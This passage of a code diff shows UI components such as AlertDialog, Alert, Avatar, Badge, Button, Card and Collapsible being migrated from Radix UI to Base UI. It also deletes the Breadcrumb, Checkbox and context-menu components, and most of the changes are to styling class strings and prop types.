);
@@ -129,11 +153,16 @@ function AlertDialogAction({
function AlertDialogCancel({
className,
variant = "outline",
size = "default",
...props
}: React.ComponentProps<typeof AlertDialogPrimitive.Cancel>) {
}: AlertDialogPrimitive.Close.Props &
Pick<React.ComponentProps<typeof Button>, "variant" | "size">) {
return (
<AlertDialogPrimitive.Cancel
className={cn(buttonVariants({ variant: "outline" }), className)}
<AlertDialogPrimitive.Close
data-slot="alert-dialog-cancel"
className={cn(className)}
render={<Button variant={variant} size={size} />}
{...props}
/>
);
@@ -141,14 +170,15 @@ function AlertDialogCancel({
export {
AlertDialog,
AlertDialogPortal,
AlertDialogOverlay,
AlertDialogTrigger,
AlertDialogContent,
AlertDialogHeader,
AlertDialogFooter,
AlertDialogTitle,
AlertDialogDescription,
AlertDialogAction,
AlertDialogCancel,
AlertDialogContent,
AlertDialogDescription,
AlertDialogFooter,
AlertDialogHeader,
AlertDialogMedia,
AlertDialogOverlay,
AlertDialogPortal,
AlertDialogTitle,
AlertDialogTrigger,
};
+15 -5
View File
@@ -4,13 +4,13 @@ import type * as React from "react";
import { cn } from "@/lib/utils";
const alertVariants = cva(
"relative w-full rounded-lg border px-4 py-3 text-sm grid has-[>svg]:grid-cols-[calc(var(--spacing)*4)_1fr] grid-cols-[0_1fr] has-[>svg]:gap-x-3 gap-y-0.5 items-start [&>svg]:size-4 [&>svg]:translate-y-0.5 [&>svg]:text-current",
"grid gap-0.5 rounded-lg border px-4 py-3 text-left text-sm has-data-[slot=alert-action]:relative has-data-[slot=alert-action]:pr-18 has-[>svg]:grid-cols-[auto_1fr] has-[>svg]:gap-x-2.5 *:[svg]:row-span-2 *:[svg]:translate-y-0.5 *:[svg]:text-current *:[svg:not([class*='size-'])]:size-4 w-full relative group/alert",
{
variants: {
variant: {
default: "bg-card text-card-foreground",
destructive:
"text-destructive bg-card [&>svg]:text-current *:data-[slot=alert-description]:text-destructive/90",
"text-destructive bg-card *:data-[slot=alert-description]:text-destructive/90 *:[svg]:text-current",
},
},
defaultVariants: {
@@ -39,7 +39,7 @@ function AlertTitle({ className, ...props }: React.ComponentProps<"div">) {
<div
data-slot="alert-title"
className={cn(
"col-start-2 line-clamp-1 min-h-4 font-medium tracking-tight",
"font-medium group-has-[>svg]/alert:col-start-2 [&_a]:hover:text-foreground [&_a]:underline [&_a]:underline-offset-3",
className,
)}
{...props}
@@ -55,7 +55,7 @@ function AlertDescription({
<div
data-slot="alert-description"
className={cn(
"text-muted-foreground col-start-2 grid justify-items-start gap-1 text-sm [&_p]:leading-relaxed",
"text-muted-foreground text-sm text-balance md:text-pretty [&_p:not(:last-child)]:mb-4 [&_a]:hover:text-foreground [&_a]:underline [&_a]:underline-offset-3",
className,
)}
{...props}
@@ -63,4 +63,14 @@ function AlertDescription({
);
}
export { Alert, AlertTitle, AlertDescription };
function AlertAction({ className, ...props }: React.ComponentProps<"div">) {
return (
<div
data-slot="alert-action"
className={cn("absolute top-2.5 right-3", className)}
{...props}
/>
);
}
export { Alert, AlertTitle, AlertDescription, AlertAction };
+67 -11
View File
@@ -1,17 +1,21 @@
import { Avatar as AvatarPrimitive } from "radix-ui";
import { Avatar as AvatarPrimitive } from "@base-ui/react/avatar";
import type * as React from "react";
import { cn } from "@/lib/utils";
function Avatar({
className,
size = "default",
...props
}: React.ComponentProps<typeof AvatarPrimitive.Root>) {
}: AvatarPrimitive.Root.Props & {
size?: "default" | "sm" | "lg";
}) {
return (
<AvatarPrimitive.Root
data-slot="avatar"
data-size={size}
className={cn(
"relative flex size-8 shrink-0 overflow-hidden rounded-full",
"size-8 rounded-full after:rounded-full data-[size=lg]:size-10 data-[size=sm]:size-6 after:border-border group/avatar relative flex shrink-0 select-none after:absolute after:inset-0 after:border after:mix-blend-darken dark:after:mix-blend-lighten",
className,
)}
{...props}
@@ -19,14 +23,14 @@ function Avatar({
);
}
function AvatarImage({
className,
...props
}: React.ComponentProps<typeof AvatarPrimitive.Image>) {
function AvatarImage({ className, ...props }: AvatarPrimitive.Image.Props) {
return (
<AvatarPrimitive.Image
data-slot="avatar-image"
className={cn("aspect-square size-full", className)}
className={cn(
"rounded-full aspect-square size-full object-cover",
className,
)}
{...props}
/>
);
@@ -35,12 +39,12 @@ function AvatarImage({
function AvatarFallback({
className,
...props
}: React.ComponentProps<typeof AvatarPrimitive.Fallback>) {
}: AvatarPrimitive.Fallback.Props) {
return (
<AvatarPrimitive.Fallback
data-slot="avatar-fallback"
className={cn(
"bg-muted flex size-full items-center justify-center rounded-full",
"bg-muted text-muted-foreground rounded-full flex size-full items-center justify-center text-sm group-data-[size=sm]/avatar:text-xs",
className,
)}
{...props}
@@ -48,4 +52,56 @@ function AvatarFallback({
);
}
export { Avatar, AvatarImage, AvatarFallback };
function AvatarBadge({ className, ...props }: React.ComponentProps<"span">) {
return (
<span
data-slot="avatar-badge"
className={cn(
"bg-primary text-primary-foreground ring-background absolute right-0 bottom-0 z-10 inline-flex items-center justify-center rounded-full bg-blend-color ring-2 select-none",
"group-data-[size=sm]/avatar:size-2 group-data-[size=sm]/avatar:[&>svg]:hidden",
"group-data-[size=default]/avatar:size-2.5 group-data-[size=default]/avatar:[&>svg]:size-2",
"group-data-[size=lg]/avatar:size-3 group-data-[size=lg]/avatar:[&>svg]:size-2",
className,
)}
{...props}
/>
);
}
function AvatarGroup({ className, ...props }: React.ComponentProps<"div">) {
return (
<div
data-slot="avatar-group"
className={cn(
"*:data-[slot=avatar]:ring-background group/avatar-group flex -space-x-2 *:data-[slot=avatar]:ring-2",
className,
)}
{...props}
/>
);
}
function AvatarGroupCount({
className,
...props
}: React.ComponentProps<"div">) {
return (
<div
data-slot="avatar-group-count"
className={cn(
"bg-muted text-muted-foreground size-8 rounded-full text-sm group-has-data-[size=lg]/avatar-group:size-10 group-has-data-[size=sm]/avatar-group:size-6 [&>svg]:size-4 group-has-data-[size=lg]/avatar-group:[&>svg]:size-5 group-has-data-[size=sm]/avatar-group:[&>svg]:size-3 ring-background relative flex shrink-0 items-center justify-center ring-2",
className,
)}
{...props}
/>
);
}
export {
Avatar,
AvatarImage,
AvatarFallback,
AvatarGroup,
AvatarGroupCount,
AvatarBadge,
};
+27 -21
View File
@@ -1,22 +1,24 @@
import { mergeProps } from "@base-ui/react/merge-props";
import { useRender } from "@base-ui/react/use-render";
import { cva, type VariantProps } from "class-variance-authority";
import { Slot as SlotPrimitive } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils";
const badgeVariants = cva(
"inline-flex items-center justify-center rounded-md border px-2 py-0.5 text-xs font-medium w-fit whitespace-nowrap shrink-0 [&>svg]:size-3 gap-1 [&>svg]:pointer-events-none focus-visible:border-ring focus-visible:ring-ring/50 focus-visible:ring-[3px] aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive transition-[color,box-shadow] overflow-hidden",
"h-5 gap-1 rounded-4xl border border-transparent px-2 py-0.5 text-xs font-medium transition-all has-data-[icon=inline-end]:pr-1.5 has-data-[icon=inline-start]:pl-1.5 [&>svg]:size-3! inline-flex items-center justify-center w-fit whitespace-nowrap shrink-0 [&>svg]:pointer-events-none focus-visible:border-ring focus-visible:ring-ring/50 focus-visible:ring-[3px] aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive transition-colors overflow-hidden group/badge",
{
variants: {
variant: {
default:
"border-transparent bg-primary text-primary-foreground [a&]:hover:bg-primary/90",
default: "bg-primary text-primary-foreground [a]:hover:bg-primary/80",
secondary:
"border-transparent bg-secondary text-secondary-foreground [a&]:hover:bg-secondary/90",
"bg-secondary text-secondary-foreground [a]:hover:bg-secondary/80",
destructive:
"border-transparent bg-destructive text-white [a&]:hover:bg-destructive/90 focus-visible:ring-destructive/20 dark:focus-visible:ring-destructive/40 dark:bg-destructive/60",
"bg-destructive/10 [a]:hover:bg-destructive/20 focus-visible:ring-destructive/20 dark:focus-visible:ring-destructive/40 text-destructive dark:bg-destructive/20",
outline:
"text-foreground [a&]:hover:bg-accent [a&]:hover:text-accent-foreground",
"border-border text-foreground [a]:hover:bg-muted [a]:hover:text-muted-foreground",
ghost:
"hover:bg-muted hover:text-muted-foreground dark:hover:bg-muted/50",
link: "text-primary underline-offset-4 hover:underline",
},
},
defaultVariants: {
@@ -27,20 +29,24 @@ const badgeVariants = cva(
function Badge({
className,
variant,
asChild = false,
variant = "default",
render,
...props
}: React.ComponentProps<"span"> &
VariantProps<typeof badgeVariants> & { asChild?: boolean }) {
const Comp = asChild ? SlotPrimitive.Slot : "span";
return (
<Comp
data-slot="badge"
className={cn(badgeVariants({ variant }), className)}
{...props}
/>
);
}: useRender.ComponentProps<"span"> & VariantProps<typeof badgeVariants>) {
return useRender({
defaultTagName: "span",
props: mergeProps<"span">(
{
className: cn(badgeVariants({ className, variant })),
},
props,
),
render,
state: {
slot: "badge",
variant,
},
});
}
export { Badge, badgeVariants };
-108
View File
@@ -1,108 +0,0 @@
import { ChevronRight, MoreHorizontal } from "lucide-react";
import { Slot as SlotPrimitive } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils";
function Breadcrumb({ ...props }: React.ComponentProps<"nav">) {
return <nav aria-label="breadcrumb" data-slot="breadcrumb" {...props} />;
}
function BreadcrumbList({ className, ...props }: React.ComponentProps<"ol">) {
return (
<ol
data-slot="breadcrumb-list"
className={cn(
"text-muted-foreground flex flex-wrap items-center gap-1.5 text-sm break-words sm:gap-2.5",
className,
)}
{...props}
/>
);
}
function BreadcrumbItem({ className, ...props }: React.ComponentProps<"li">) {
return (
<li
data-slot="breadcrumb-item"
className={cn("inline-flex items-center gap-1.5", className)}
{...props}
/>
);
}
function BreadcrumbLink({
asChild,
className,
...props
}: React.ComponentProps<"a"> & {
asChild?: boolean;
}) {
const Comp = asChild ? SlotPrimitive.Slot : "a";
return (
<Comp
data-slot="breadcrumb-link"
className={cn("hover:text-foreground transition-colors", className)}
{...props}
/>
);
}
function BreadcrumbPage({ className, ...props }: React.ComponentProps<"span">) {
return (
<span
data-slot="breadcrumb-page"
aria-disabled="true"
aria-current="page"
className={cn("text-foreground font-normal", className)}
{...props}
/>
);
}
function BreadcrumbSeparator({
children,
className,
...props
}: React.ComponentProps<"li">) {
return (
<li
data-slot="breadcrumb-separator"
role="presentation"
aria-hidden="true"
className={cn("[&>svg]:size-3.5", className)}
{...props}
>
{children ?? <ChevronRight />}
</li>
);
}
function BreadcrumbEllipsis({
className,
...props
}: React.ComponentProps<"span">) {
return (
<span
data-slot="breadcrumb-ellipsis"
role="presentation"
aria-hidden="true"
className={cn("flex size-9 items-center justify-center", className)}
{...props}
>
<MoreHorizontal className="size-4" />
<span className="sr-only">More</span>
</span>
);
}
export {
Breadcrumb,
BreadcrumbList,
BreadcrumbItem,
BreadcrumbLink,
BreadcrumbPage,
BreadcrumbSeparator,
BreadcrumbEllipsis,
};
+22 -23
View File
@@ -1,31 +1,36 @@
import { Button as ButtonPrimitive } from "@base-ui/react/button";
import { cva, type VariantProps } from "class-variance-authority";
import { Slot as SlotPrimitive } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils";
const buttonVariants = cva(
"inline-flex items-center justify-center gap-2 whitespace-nowrap rounded-md text-sm font-medium transition-all disabled:pointer-events-none disabled:opacity-50 [&_svg]:pointer-events-none [&_svg:not([class*='size-'])]:size-4 shrink-0 [&_svg]:shrink-0 outline-none focus-visible:border-ring focus-visible:ring-ring/50 focus-visible:ring-[3px] aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive",
"focus-visible:border-ring focus-visible:ring-ring/50 aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive dark:aria-invalid:border-destructive/50 rounded-md border border-transparent bg-clip-padding text-sm font-medium focus-visible:ring-[3px] aria-invalid:ring-[3px] [&_svg:not([class*='size-'])]:size-4 inline-flex items-center justify-center whitespace-nowrap transition-all disabled:pointer-events-none disabled:opacity-50 [&_svg]:pointer-events-none shrink-0 [&_svg]:shrink-0 outline-none group/button select-none",
{
variants: {
variant: {
default:
"bg-primary text-primary-foreground shadow-xs hover:bg-primary/90",
destructive:
"bg-destructive text-white shadow-xs hover:bg-destructive/90 focus-visible:ring-destructive/20 dark:focus-visible:ring-destructive/40 dark:bg-destructive/60",
default: "bg-primary text-primary-foreground hover:bg-primary/80",
outline:
"border bg-background shadow-xs hover:bg-accent hover:text-accent-foreground dark:bg-input/30 dark:border-input dark:hover:bg-input/50",
"border-border bg-background hover:bg-muted hover:text-foreground dark:bg-input/30 dark:border-input dark:hover:bg-input/50 aria-expanded:bg-muted aria-expanded:text-foreground shadow-xs",
secondary:
"bg-secondary text-secondary-foreground shadow-xs hover:bg-secondary/80",
"bg-secondary text-secondary-foreground hover:bg-secondary/80 aria-expanded:bg-secondary aria-expanded:text-secondary-foreground",
ghost:
"hover:bg-accent hover:text-accent-foreground dark:hover:bg-accent/50",
"hover:bg-muted hover:text-foreground dark:hover:bg-muted/50 aria-expanded:bg-muted aria-expanded:text-foreground",
destructive:
"bg-destructive/10 hover:bg-destructive/20 focus-visible:ring-destructive/20 dark:focus-visible:ring-destructive/40 dark:bg-destructive/20 text-destructive focus-visible:border-destructive/40 dark:hover:bg-destructive/30",
link: "text-primary underline-offset-4 hover:underline",
},
size: {
default: "h-9 px-4 py-2 has-[>svg]:px-3",
sm: "h-8 rounded-md gap-1.5 px-3 has-[>svg]:px-2.5",
lg: "h-10 rounded-md px-6 has-[>svg]:px-4",
default:
"h-9 gap-1.5 px-2.5 in-data-[slot=button-group]:rounded-md has-data-[icon=inline-end]:pr-2 has-data-[icon=inline-start]:pl-2",
xs: "h-6 gap-1 rounded-[min(var(--radius-md),8px)] px-2 text-xs in-data-[slot=button-group]:rounded-md has-data-[icon=inline-end]:pr-1.5 has-data-[icon=inline-start]:pl-1.5 [&_svg:not([class*='size-'])]:size-3",
sm: "h-8 gap-1 rounded-[min(var(--radius-md),10px)] px-2.5 in-data-[slot=button-group]:rounded-md has-data-[icon=inline-end]:pr-1.5 has-data-[icon=inline-start]:pl-1.5",
lg: "h-10 gap-1.5 px-2.5 has-data-[icon=inline-end]:pr-3 has-data-[icon=inline-start]:pl-3",
icon: "size-9",
"icon-xs":
"size-6 rounded-[min(var(--radius-md),8px)] in-data-[slot=button-group]:rounded-md [&_svg:not([class*='size-'])]:size-3",
"icon-sm":
"size-8 rounded-[min(var(--radius-md),10px)] in-data-[slot=button-group]:rounded-md",
"icon-lg": "size-10",
},
},
defaultVariants: {
@@ -37,18 +42,12 @@ const buttonVariants = cva(
function Button({
className,
variant,
size,
asChild = false,
variant = "default",
size = "default",
...props
}: React.ComponentProps<"button"> &
VariantProps<typeof buttonVariants> & {
asChild?: boolean;
}) {
const Comp = asChild ? SlotPrimitive.Slot : "button";
}: ButtonPrimitive.Props & VariantProps<typeof buttonVariants>) {
return (
<Comp
<ButtonPrimitive
data-slot="button"
className={cn(buttonVariants({ variant, size, className }))}
{...props}
+17 -6
View File
@@ -2,12 +2,17 @@ import type * as React from "react";
import { cn } from "@/lib/utils";
function Card({ className, ...props }: React.ComponentProps<"div">) {
function Card({
className,
size = "default",
...props
}: React.ComponentProps<"div"> & { size?: "default" | "sm" }) {
return (
<div
data-slot="card"
data-size={size}
className={cn(
"border text-card-foreground flex flex-col rounded-xl pb-6 text-sm shadow-sm",
"ring-foreground/10 bg-card text-card-foreground gap-2 overflow-hidden rounded-xl pb-6 text-sm shadow-xs ring-1 has-[>img:first-child]:pt-0 data-[size=sm]:gap-4 data-[size=sm]:py-4 *:[img:first-child]:rounded-t-xl *:[img:last-child]:rounded-b-xl group/card flex flex-col",
className,
)}
{...props}
@@ -20,7 +25,7 @@ function CardHeader({ className, ...props }: React.ComponentProps<"div">) {
<div
data-slot="card-header"
className={cn(
"@container/card-header grid auto-rows-min grid-rows-[auto_auto] items-start gap-1.5 px-6 pt-6 has-data-[slot=card-action]:grid-cols-[1fr_auto] [.border-b]:pb-6",
"gap-1 rounded-t-xl px-6 pt-6 group-data-[size=sm]/card:px-4 [.border-b]:pb-6 group-data-[size=sm]/card:[.border-b]:pb-4 group/card-header @container/card-header grid auto-rows-min items-start has-data-[slot=card-action]:grid-cols-[1fr_auto] has-data-[slot=card-description]:grid-rows-[auto_auto]",
className,
)}
{...props}
@@ -32,7 +37,10 @@ function CardTitle({ className, ...props }: React.ComponentProps<"div">) {
return (
<div
data-slot="card-title"
className={cn("leading-none font-semibold", className)}
className={cn(
"text-base leading-normal font-medium group-data-[size=sm]/card:text-sm",
className,
)}
{...props}
/>
);
@@ -65,7 +73,7 @@ function CardContent({ className, ...props }: React.ComponentProps<"div">) {
return (
<div
data-slot="card-content"
className={cn("px-6", className)}
className={cn("px-6 group-data-[size=sm]/card:px-4", className)}
{...props}
/>
);
@@ -75,7 +83,10 @@ function CardFooter({ className, ...props }: React.ComponentProps<"div">) {
return (
<div
data-slot="card-footer"
className={cn("flex items-center px-6 [.border-t]:pt-6", className)}
className={cn(
"rounded-b-xl px-6 group-data-[size=sm]/card:px-4 [.border-t]:pt-6 group-data-[size=sm]/card:[.border-t]:pt-4 flex items-center",
className,
)}
{...props}
/>
);
-30
View File
@@ -1,30 +0,0 @@
import { CheckIcon } from "lucide-react";
import { Checkbox as CheckboxPrimitive } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils";
function Checkbox({
className,
...props
}: React.ComponentProps<typeof CheckboxPrimitive.Root>) {
return (
<CheckboxPrimitive.Root
data-slot="checkbox"
className={cn(
"peer border-input dark:bg-input/30 data-[state=checked]:bg-primary data-[state=checked]:text-primary-foreground dark:data-[state=checked]:bg-primary data-[state=checked]:border-primary focus-visible:border-ring focus-visible:ring-ring/50 aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive size-4 shrink-0 rounded-[4px] border shadow-xs transition-shadow outline-none focus-visible:ring-[3px] disabled:cursor-not-allowed disabled:opacity-50",
className,
)}
{...props}
>
<CheckboxPrimitive.Indicator
data-slot="checkbox-indicator"
className="flex items-center justify-center text-current transition-none"
>
<CheckIcon className="size-3.5" />
</CheckboxPrimitive.Indicator>
</CheckboxPrimitive.Root>
);
}
export { Checkbox };
+14 -4
View File
@@ -1,9 +1,19 @@
import { Collapsible as CollapsiblePrimitive } from "radix-ui";
import { Collapsible as CollapsiblePrimitive } from "@base-ui/react/collapsible";
const Collapsible = CollapsiblePrimitive.Root;
function Collapsible({ ...props }: CollapsiblePrimitive.Root.Props) {
return <CollapsiblePrimitive.Root data-slot="collapsible" {...props} />;
}
const CollapsibleTrigger = CollapsiblePrimitive.CollapsibleTrigger;
function CollapsibleTrigger({ ...props }: CollapsiblePrimitive.Trigger.Props) {
return (
<CollapsiblePrimitive.Trigger data-slot="collapsible-trigger" {...props} />
);
}
const CollapsibleContent = CollapsiblePrimitive.CollapsibleContent;
function CollapsibleContent({ ...props }: CollapsiblePrimitive.Panel.Props) {
return (
<CollapsiblePrimitive.Panel data-slot="collapsible-content" {...props} />
);
}
export { Collapsible, CollapsibleTrigger, CollapsibleContent };
-250
View File
@@ -1,250 +0,0 @@
import { CheckIcon, ChevronRightIcon, CircleIcon } from "lucide-react";
import { ContextMenu as ContextMenuPrimitive } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils";
function ContextMenu({
...props
}: React.ComponentProps<typeof ContextMenuPrimitive.Root>) {
return <ContextMenuPrimitive.Root data-slot="context-menu" {...props} />;
}
function ContextMenuTrigger({
...props
}: React.ComponentProps<typeof ContextMenuPrimitive.Trigger>) {
return (
<ContextMenuPrimitive.Trigger data-slot="context-menu-trigger" {...props} />
);
}
function ContextMenuGroup({
...props
}: React.ComponentProps<typeof ContextMenuPrimitive.Group>) {
return (
<ContextMenuPrimitive.Group data-slot="context-menu-group" {...props} />
);
}
function ContextMenuPortal({
...props
}: React.ComponentProps<typeof ContextMenuPrimitive.Portal>) {
return (
<ContextMenuPrimitive.Portal data-slot="context-menu-portal" {...props} />
);
}
function ContextMenuSub({
...props
}: React.ComponentProps<typeof ContextMenuPrimitive.Sub>) {
return <ContextMenuPrimitive.Sub data-slot="context-menu-sub" {...props} />;
}
function ContextMenuRadioGroup({
...props
}: React.ComponentProps<typeof ContextMenuPrimitive.RadioGroup>) {
return (
<ContextMenuPrimitive.RadioGroup
data-slot="context-menu-radio-group"
{...props}
/>
);
}
function ContextMenuSubTrigger({
className,
inset,
children,
...props
}: React.ComponentProps<typeof ContextMenuPrimitive.SubTrigger> & {
inset?: boolean;
}) {
return (
<ContextMenuPrimitive.SubTrigger
data-slot="context-menu-sub-trigger"
data-inset={inset}
className={cn(
"focus:bg-accent focus:text-accent-foreground data-[state=open]:bg-accent data-[state=open]:text-accent-foreground flex cursor-default items-center rounded-sm px-2 py-1.5 text-sm outline-hidden select-none data-[inset]:pl-8 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
className,
)}
{...props}
>
{children}
<ChevronRightIcon className="ml-auto" />
</ContextMenuPrimitive.SubTrigger>
);
}
function ContextMenuSubContent({
className,
...props
}: React.ComponentProps<typeof ContextMenuPrimitive.SubContent>) {
return (
<ContextMenuPrimitive.SubContent
data-slot="context-menu-sub-content"
className={cn(
"bg-popover text-popover-foreground data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 z-50 min-w-[8rem] origin-(--radix-context-menu-content-transform-origin) overflow-hidden rounded-md border p-1 shadow-lg",
className,
)}
{...props}
/>
);
}
function ContextMenuContent({
className,
...props
}: React.ComponentProps<typeof ContextMenuPrimitive.Content>) {
return (
<ContextMenuPrimitive.Portal>
<ContextMenuPrimitive.Content
data-slot="context-menu-content"
className={cn(
"bg-popover text-popover-foreground data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 z-50 max-h-(--radix-context-menu-content-available-height) min-w-[8rem] origin-(--radix-context-menu-content-transform-origin) overflow-x-hidden overflow-y-auto rounded-md border p-1 shadow-md",
className,
)}
{...props}
/>
</ContextMenuPrimitive.Portal>
);
}
function ContextMenuItem({
className,
inset,
variant = "default",
...props
}: React.ComponentProps<typeof ContextMenuPrimitive.Item> & {
inset?: boolean;
variant?: "default" | "destructive";
}) {
return (
<ContextMenuPrimitive.Item
data-slot="context-menu-item"
data-inset={inset}
data-variant={variant}
className={cn(
"focus:bg-accent focus:text-accent-foreground data-[variant=destructive]:text-destructive data-[variant=destructive]:focus:bg-destructive/10 dark:data-[variant=destructive]:focus:bg-destructive/20 data-[variant=destructive]:focus:text-destructive data-[variant=destructive]:*:[svg]:!text-destructive [&_svg:not([class*='text-'])]:text-muted-foreground relative flex cursor-default items-center gap-2 rounded-sm px-2 py-1.5 text-sm outline-hidden select-none data-[disabled]:pointer-events-none data-[disabled]:opacity-50 data-[inset]:pl-8 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
className,
)}
{...props}
/>
);
}
function ContextMenuCheckboxItem({
className,
children,
checked,
...props
}: React.ComponentProps<typeof ContextMenuPrimitive.CheckboxItem>) {
return (
<ContextMenuPrimitive.CheckboxItem
data-slot="context-menu-checkbox-item"
className={cn(
"focus:bg-accent focus:text-accent-foreground relative flex cursor-default items-center gap-2 rounded-sm py-1.5 pr-2 pl-8 text-sm outline-hidden select-none data-[disabled]:pointer-events-none data-[disabled]:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
className,
)}
checked={checked}
{...props}
>
<span className="pointer-events-none absolute left-2 flex size-3.5 items-center justify-center">
<ContextMenuPrimitive.ItemIndicator>
<CheckIcon className="size-4" />
</ContextMenuPrimitive.ItemIndicator>
</span>
{children}
</ContextMenuPrimitive.CheckboxItem>
);
}
function ContextMenuRadioItem({
className,
children,
...props
}: React.ComponentProps<typeof ContextMenuPrimitive.RadioItem>) {
return (
<ContextMenuPrimitive.RadioItem
data-slot="context-menu-radio-item"
className={cn(
"focus:bg-accent focus:text-accent-foreground relative flex cursor-default items-center gap-2 rounded-sm py-1.5 pr-2 pl-8 text-sm outline-hidden select-none data-[disabled]:pointer-events-none data-[disabled]:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
className,
)}
{...props}
>
<span className="pointer-events-none absolute left-2 flex size-3.5 items-center justify-center">
<ContextMenuPrimitive.ItemIndicator>
<CircleIcon className="size-2 fill-current" />
</ContextMenuPrimitive.ItemIndicator>
</span>
{children}
</ContextMenuPrimitive.RadioItem>
);
}
function ContextMenuLabel({
className,
inset,
...props
}: React.ComponentProps<typeof ContextMenuPrimitive.Label> & {
inset?: boolean;
}) {
return (
<ContextMenuPrimitive.Label
data-slot="context-menu-label"
data-inset={inset}
className={cn(
"text-foreground px-2 py-1.5 text-sm font-medium data-[inset]:pl-8",
className,
)}
{...props}
/>
);
}
function ContextMenuSeparator({
className,
...props
}: React.ComponentProps<typeof ContextMenuPrimitive.Separator>) {
return (
<ContextMenuPrimitive.Separator
data-slot="context-menu-separator"
className={cn("bg-border -mx-1 my-1 h-px", className)}
{...props}
/>
);
}
function ContextMenuShortcut({
className,
...props
}: React.ComponentProps<"span">) {
return (
<span
data-slot="context-menu-shortcut"
className={cn(
"text-muted-foreground ml-auto text-xs tracking-widest",
className,
)}
{...props}
/>
);
}
export {
ContextMenu,
ContextMenuTrigger,
ContextMenuContent,
ContextMenuItem,
ContextMenuCheckboxItem,
ContextMenuRadioItem,
ContextMenuLabel,
ContextMenuSeparator,
ContextMenuShortcut,
ContextMenuGroup,
ContextMenuPortal,
ContextMenuSub,
ContextMenuSubContent,
ContextMenuSubTrigger,
ContextMenuRadioGroup,
};

Some files were not shown because too many files have changed in this diff Show More